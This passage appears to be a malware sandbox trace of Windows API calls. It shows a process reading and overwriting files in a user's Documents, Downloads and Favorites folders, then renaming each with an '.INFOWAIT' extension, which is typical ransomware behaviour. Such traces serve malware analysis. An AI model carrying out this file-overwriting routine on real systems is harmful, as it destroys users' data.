lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WBCuWSQzDcN3.xlsx.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WBCuWSQzDcN3.xlsx.INFOWAIT" [0119.629] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WBCuWSQzDcN3.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbcuwsqzdcn3.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WBCuWSQzDcN3.xlsx.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbcuwsqzdcn3.xlsx.infowait")) returned 1 [0119.630] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.631] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.632] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.632] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YfljSHP679zr.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yfljshp679zr.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0119.634] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xf1ad [0119.634] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.634] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.634] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xf1ad, lpOverlapped=0x0) returned 1 [0119.638] VirtualAlloc (lpAddress=0x0, dwSize=0xf1ad, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.643] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.644] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xf1ad, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xf1ad, lpOverlapped=0x0) returned 1 [0119.644] CloseHandle (hObject=0xad0) returned 1 [0119.645] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YfljSHP679zr.docx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YfljSHP679zr.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YfljSHP679zr.docx" [0119.645] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YfljSHP679zr.docx", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YfljSHP679zr.docx.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YfljSHP679zr.docx.INFOWAIT" [0119.645] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YfljSHP679zr.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yfljshp679zr.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YfljSHP679zr.docx.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yfljshp679zr.docx.infowait")) returned 1 [0119.651] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.652] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.652] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.652] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yvz8Ck.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yvz8ck.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0119.653] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xa6a4 [0119.653] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.653] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.653] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xa6a4, lpOverlapped=0x0) returned 1 [0119.661] VirtualAlloc (lpAddress=0x0, dwSize=0xa6a4, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.665] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.665] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xa6a4, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xa6a4, lpOverlapped=0x0) returned 1 [0119.665] CloseHandle (hObject=0xad0) returned 1 [0119.669] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yvz8Ck.xls" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yvz8Ck.xls") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yvz8Ck.xls" [0119.669] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yvz8Ck.xls", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yvz8Ck.xls.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yvz8Ck.xls.INFOWAIT" [0119.669] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yvz8Ck.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yvz8ck.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yvz8Ck.xls.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yvz8ck.xls.infowait")) returned 1 [0119.670] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.671] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.672] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.672] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YzRpjUWu6VDm3TLDV.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yzrpjuwu6vdm3tldv.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0119.672] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xc9a3 [0119.672] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.672] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.672] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xc9a3, lpOverlapped=0x0) returned 1 [0119.676] VirtualAlloc (lpAddress=0x0, dwSize=0xc9a3, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.683] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.683] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xc9a3, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xc9a3, lpOverlapped=0x0) returned 1 [0119.683] CloseHandle (hObject=0xad0) returned 1 [0119.685] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YzRpjUWu6VDm3TLDV.pptx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YzRpjUWu6VDm3TLDV.pptx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YzRpjUWu6VDm3TLDV.pptx" [0119.685] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YzRpjUWu6VDm3TLDV.pptx", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YzRpjUWu6VDm3TLDV.pptx.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YzRpjUWu6VDm3TLDV.pptx.INFOWAIT" [0119.685] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YzRpjUWu6VDm3TLDV.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yzrpjuwu6vdm3tldv.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\YzRpjUWu6VDm3TLDV.pptx.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yzrpjuwu6vdm3tldv.pptx.infowait")) returned 1 [0119.686] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.687] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.687] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.687] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0119.688] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x11a [0119.688] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.688] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.688] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x11a, lpOverlapped=0x0) returned 1 [0119.690] VirtualAlloc (lpAddress=0x0, dwSize=0x11a, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.691] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.691] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x11a, lpOverlapped=0x0) returned 1 [0119.691] CloseHandle (hObject=0xad0) returned 1 [0119.693] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini" [0119.693] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini.INFOWAIT" [0119.693] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads\\desktop.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\downloads\\desktop.ini.infowait")) returned 1 [0119.694] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.695] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.695] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.695] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0119.695] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x192 [0119.695] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.696] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.696] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x192, lpOverlapped=0x0) returned 1 [0119.698] VirtualAlloc (lpAddress=0x0, dwSize=0x192, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.699] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.699] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x192, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x192, lpOverlapped=0x0) returned 1 [0119.699] CloseHandle (hObject=0xad0) returned 1 [0119.700] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini" [0119.700] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini.INFOWAIT" [0119.700] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\desktop.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\desktop.ini.infowait")) returned 1 [0119.701] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.702] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.702] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.702] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0119.702] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x50 [0119.702] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.703] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.703] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x50, lpOverlapped=0x0) returned 1 [0119.705] VirtualAlloc (lpAddress=0x0, dwSize=0x50, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.705] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.705] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x50, lpOverlapped=0x0) returned 1 [0119.706] CloseHandle (hObject=0xad0) returned 1 [0119.708] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini" [0119.708] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini.INFOWAIT" [0119.708] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\desktop.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\desktop.ini.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\desktop.ini.infowait")) returned 1 [0119.711] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.712] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.713] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.713] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0119.714] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xec [0119.714] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.714] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.714] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xec, lpOverlapped=0x0) returned 1 [0119.717] VirtualAlloc (lpAddress=0x0, dwSize=0xec, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.718] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.718] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xec, lpOverlapped=0x0) returned 1 [0119.718] CloseHandle (hObject=0xad0) returned 1 [0119.725] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" [0119.725] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url.INFOWAIT" [0119.725] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Suggested Sites.url.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\suggested sites.url.infowait")) returned 1 [0119.726] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.727] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.727] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.727] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0119.727] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xe2 [0119.727] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.728] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.728] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0xe2, lpOverlapped=0x0) returned 1 [0119.730] VirtualAlloc (lpAddress=0x0, dwSize=0xe2, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.731] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.731] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0xe2, lpOverlapped=0x0) returned 1 [0119.731] CloseHandle (hObject=0xad0) returned 1 [0119.734] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" [0119.734] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url.INFOWAIT" [0119.734] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\Web Slice Gallery.url.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\links\\web slice gallery.url.infowait")) returned 1 [0119.735] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.736] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.736] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.737] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0119.737] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x85 [0119.737] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.737] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, 